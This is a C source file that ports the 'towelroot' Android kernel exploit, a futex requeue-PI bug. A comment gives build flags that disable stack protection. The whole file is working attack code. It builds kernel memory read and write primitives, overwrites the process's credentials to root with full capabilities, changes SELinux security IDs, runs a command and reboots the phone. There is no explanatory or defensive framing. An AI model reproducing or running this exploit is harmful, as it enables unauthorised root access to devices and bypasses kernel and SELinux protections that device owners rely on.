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//Android.mk にて、「LOCAL_CFLAGS := -fno-stack-protector -mno-thumb -O0」を指定すること。
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define KERNEL_START 0xc0000000
#define LOCAL_PORT 5551
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
struct kernel_cap_struct {
unsigned long cap[2];
};
struct cred {
unsigned long usage;
uid_t uid;
gid_t gid;
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t fsuid;
gid_t fsgid;
unsigned long securebits;
struct kernel_cap_struct cap_inheritable;
struct kernel_cap_struct cap_permitted;
struct kernel_cap_struct cap_effective;
struct kernel_cap_struct cap_bset;
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
struct task_security_struct *security;
/* ... */
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct task_security_struct {
unsigned long osid;
unsigned long sid;
unsigned long exec_sid;
unsigned long create_sid;
unsigned long keycreate_sid;
unsigned long sockcreate_sid;
};
struct task_struct_partial {
struct list_head cpu_timers[3];
struct cred *real_cred;
struct cred *cred;
struct cred *replacement_session_keyring;
char comm[16];
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
struct phonefmt {
char *version;
unsigned long l1;
unsigned long l2;
unsigned long l3;
};
struct phonefmt default_phone = {"", 0, 1, 0};
struct phonefmt new_samsung = {"Linux version 3.4.0-", 1, 1, 0x00001cd4};
struct phonefmt phones[1] = {"Linux version 3.4.0-722276", 1, 1, 0x00001cd4};
struct phonefmt *ph = &default_phone;
//bss
int _swag = 0;
int _swag2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
void sub_bd38_check_kernel_version(void)
{
char filebuf[0x1000];
FILE *fp;
int i;
char *pdest;
int foundph;
int ret;
int kernel_num;
memset(filebuf, sizeof filebuf, 0);
fp = fopen("/proc/version", "rb");
fread(filebuf, 1, sizeof(filebuf) - 1, fp);
fclose(fp);
printf("got kernel version %s\n", filebuf);
for (i = 0; i < ARRAY_SIZE(phones); i++) {
pdest = strstr(filebuf, phones[i].version);
if (pdest != 0) {
printf("found matching phone: %s\n", phones[i].version);
ph = &phones[i];
foundph = 1;
return;
}
}
ret = memcmp(filebuf, new_samsung.version, strlen(new_samsung.version));
if (ret == 0) {
pdest = filebuf + strlen(new_samsung.version);
kernel_num = atoi(pdest);
printf("got kernel number %d\n", kernel_num);
if (kernel_num > 951485) {
printf("using new samsung\n");
ph = &new_samsung;
foundph = 1;
return;
}
}
printf("no matching phone found, trying default\n");
foundph = 0;
return;
}
ssize_t sub_ba44_readmem(const void *src, void *dest, size_t count)
{
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], src, count);
if (len != count) {
printf("FAILED READ @ %p : %d %d\n", src, (int)len, errno);
while (1) {
sleep(10);
}
}
read(pipefd[0], dest, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t sub_b7d8_writemem(void *dest, const void *src, size_t count)
{
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], src, count);
len = read(pipefd[0], dest, count);
if (len != count) {
printf("FAILED WRITE @ %p : %d %d\n", dest, (int)len, errno);
while (1) {
sleep(10);
}
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
void sub_881c_get_root(int signum)
{
struct thread_info stackbuf;
unsigned long taskbuf[0x100];
struct cred *cred;
struct cred credbuf;
struct task_security_struct *security;
struct task_security_struct securitybuf;
pid_t pid;
int i;
int ret;
FILE *fp;
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
if (HACKS_final_stack_base == NULL) {
static unsigned long new_addr_limit = 0xffffffff;
char *slavename;
int pipefd[2];
char readbuf[0x100];
printf("cpid1 resumed\n");
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", O_RDWR);
unlockpt(HACKS_fdm);
slavename = ptsname(HACKS_fdm);
open(slavename, O_RDWR);
if (ph->l3 != 0) {
pipe(pipefd);
do_splice_tid_read = 1;
while (1) {
if (did_splice_tid_read != 0) {
break;
}
}
syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);
}
else {
do_splice_tid_read = 1;
while (1) {
if (did_splice_tid_read != 0) {
break;
}
}
read(HACKS_fdm, readbuf, sizeof readbuf);
}
sub_b7d8_writemem(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
pthread_mutex_unlock(is_kernel_writing);
while (1) {
sleep(10);
}
}
printf("cpid3 resumed\n");
pthread_mutex_lock(is_kernel_writing);
printf("WOOT\n");
sub_ba44_readmem(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
sub_ba44_readmem(stackbuf.task, taskbuf, sizeof taskbuf);
cred = NULL;
security = NULL;
pid = 0;
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
struct task_struct_partial *task = (void *)&taskbuf[i];
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
cred = task->cred;
break;
}
}
sub_ba44_readmem(cred, &credbuf, sizeof credbuf);
security = credbuf.security;
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
sub_ba44_readmem(security, &securitybuf, sizeof securitybuf);
if (securitybuf.osid != 0
&& securitybuf.sid != 0
&& securitybuf.exec_sid == 0
&& securitybuf.create_sid == 0
&& securitybuf.keycreate_sid == 0
&& securitybuf.sockcreate_sid == 0) {
securitybuf.osid = 1;
securitybuf.sid = 1;
printf("YOU ARE A SCARY PHONE\n");
sub_b7d8_writemem(security, &securitybuf, sizeof securitybuf);
}
}
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
sub_b7d8_writemem(cred, &credbuf, sizeof credbuf);
pid = syscall(__NR_gettid);
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
static unsigned long write_value = 1;
if (taskbuf[i] == pid) {
sub_b7d8_writemem(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
if (getuid() != 0) {
printf("ROOT FAILED\n");
while (1) {
sleep(10);
}
}
else { //rooted
break;
}
}
}
//rooted
ret = system("/system/bin/touch /data/local/tmp/foo");
if (ret != 0) {
printf("COMMAND FAILED\n");
while (1) {
sleep(10);
}
}
pid = fork();
if (pid == 0) { //child
printf("rebooting in 15\n");
sleep(15);
printf("rebooting\n");
system("reboot");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
while (1) {
sleep(10);
}
return;
}
void *sub_8394(void *arg)
{
int prio;
struct sigaction act;
int ret;
prio = (int)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = sub_881c_get_root;
act.sa_mask = 0;
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(12, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
do_dm_tid_read = 1;
while (did_dm_tid_read == 0) {
;
}
ret = syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
printf("futex dm: %d\n", ret);
while (1) {
sleep(10);
}
return NULL;
}
pid_t sub_7690(int prio)
{
pthread_t th4;
pid_t pid;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, sub_8394, (void *)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
while (do_dm_tid_read == 0) {
usleep(10);
}
did_dm_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
pthread_mutex_unlock(&is_thread_desched_lock);
return pid;
}
int sub_7390(void)
{
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed\n");
usleep(10);
}
else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (1) {
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
if (ret >= 0) {
break;
}
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
void *sub_5960(void *arg)
{
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = sub_7390();
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = MAGIC;
}
if (ph->l2 == 0) {
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = MAGIC_ALT;
}
}
else {
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
}
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &_swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &_swag2, 0);
do_socket_tid_read = 1;
while (1) {
if (did_socket_tid_read != 0) {
break;
}
}
ret = 0;
switch (ph->l1) {
case 0:
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
}
}
break;
case 1:
ret = syscall(__NR_recvmmsg, sockfd, msgvec, 1, 0, NULL);
break;
case 2:
while (1) {
ret = sendmsg(sockfd, &(msgvec[0].msg_hdr), 0);
if (ret <= 0) {
break;
}
}
break;
case 3:
ret = recvmsg(sockfd, &(msgvec[0].msg_hdr), 0);
break;
}
if (ret < 0) {
perror("SOCKSHIT");
}
printf("EXIT WTF\n");
while (1) {
sleep(10);
}
return NULL;
}
static inline setup_exploit(unsigned long mem)
{
*((unsigned long *)(mem - 0x04)) = 0x81;
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
*((unsigned long *)(mem + 0x1c)) = 0x85;
*((unsigned long *)(mem + 0x24)) = mem;
*((unsigned long *)(mem + 0x2c)) = mem + 8;
}
void *sub_1b08(void *arg)
{
int ret;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
unsigned long magicval;
pid_t pid;
unsigned long goodval, goodval2;
unsigned long addr, setaddr;
int i;
char buf[0x1000];
syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (1) {
ret = syscall(__NR_futex, &_swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag);
if (ret == 1) {
break;
}
usleep(10);
}
sub_7690(6);
sub_7690(7);
_swag2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &_swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag2);
while (1) {
if (do_socket_tid_read != 0) {
break;
}
}
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_socket_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
printf("starting the dangerous things\n");
setup_exploit(MAGIC_ALT);
setup_exploit(MAGIC);
magicval = *((unsigned long *)MAGIC);
sub_7690(11);
if (*((unsigned long *)MAGIC) == magicval) {
printf("using MAGIC_ALT\n");
MAGIC = MAGIC_ALT;
}
while (1) {
is_kernel_writing = (pthread_mutex_t *)malloc(4);
pthread_mutex_init(is_kernel_writing, NULL);
setup_exploit(MAGIC);
pid = sub_7690(11);
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
printf("%p is a good number\n", (void *)goodval);
do_splice_tid_read = 0;
did_splice_tid_read = 0;
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
while (1) {
if (do_splice_tid_read != 0) {
break;
}
usleep(10);
}
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_splice_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 != vcscnt + 1) {
break;
}
usleep(10);
}
goodval2 = 0;
if (ph->l3 != 0) {
addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (addr != 0xbef000) {
continue;
}
setup_exploit(0xbeffe0);
*((unsigned long *)0xbf0004) = 0xbef000 + ph->l3 + 1;
*((unsigned long *)MAGIC) = 0xbf0000;
sub_7690(10);
goodval2 = *((unsigned long *)0x00bf0004);
munmap((unsigned long *)0xbef000, 0x2000);
goodval2 <<= 8;
if (goodval2 < KERNEL_START) {
setaddr = (goodval2 - 0x1000) & 0xfffff000;
addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (addr != setaddr) {
continue;
}
setup_exploit(goodval2 - 0x20);
*((unsigned long *)(goodval2 + 4)) = goodval + ph->l3;
*((unsigned long *)MAGIC) = goodval2;
sub_7690(10);
goodval2 = *((unsigned long *)(goodval2 + 4));
munmap((unsigned long *)setaddr, 0x2000);
}
}
else {
setup_exploit(MAGIC);
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
sub_7690(12);
goodval2 = *((unsigned long *)(MAGIC + 0x24));
}
printf("%p is also a good number\n", (void *)goodval2);
for (i = 0; i < 9; i++) {
setup_exploit(MAGIC);
pid = sub_7690(10);
if (*((unsigned long *)MAGIC) < goodval2) {
HACKS_final_stack_base = (void *)(*((unsigned long *)MAGIC) & 0xffffe000);
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
printf("GOING\n");
write(HACKS_fdm, buf, sizeof buf);
while (1) {
sleep(10);
}
}
}
}
return NULL;
}
void *sub_189c(void *arg)
{
int sockfd;
int yes;
struct sockaddr_in addr = {0};
int ret;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
while(1) {
ret = accept(sockfd, NULL, NULL);
if (ret < 0) {
printf("**** SOCK_PROC FAILED ****\n");
while(1) {
sleep(10);
}
}
else {
printf("i have a client like hookers\n");
}
}
return NULL;
}
void sub_12c0_main(void)
{
unsigned long addr;
pthread_t th1, th2, th3;
printf("************************\n");
printf("native towelroot running with pid %d\n", getpid());
sub_bd38_check_kernel_version();
pthread_create(&th1, NULL, sub_189c, NULL);
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC = addr;
if ((long)addr >= 0) {
printf("first mmap failed?\n");
while (1) {
sleep(10);
}
}
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC_ALT = addr;
if (addr > 0x110000) {
printf("second mmap failed?\n");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_create(&th2, NULL, sub_1b08, NULL);
pthread_create(&th3, NULL, sub_5960, NULL);
pthread_cond_wait(&done, &done_lock);
}
int main(void)
{
sub_12c0_main();
printf("Thank you for using towelroot!\n");
sleep(30);
return 0;
}
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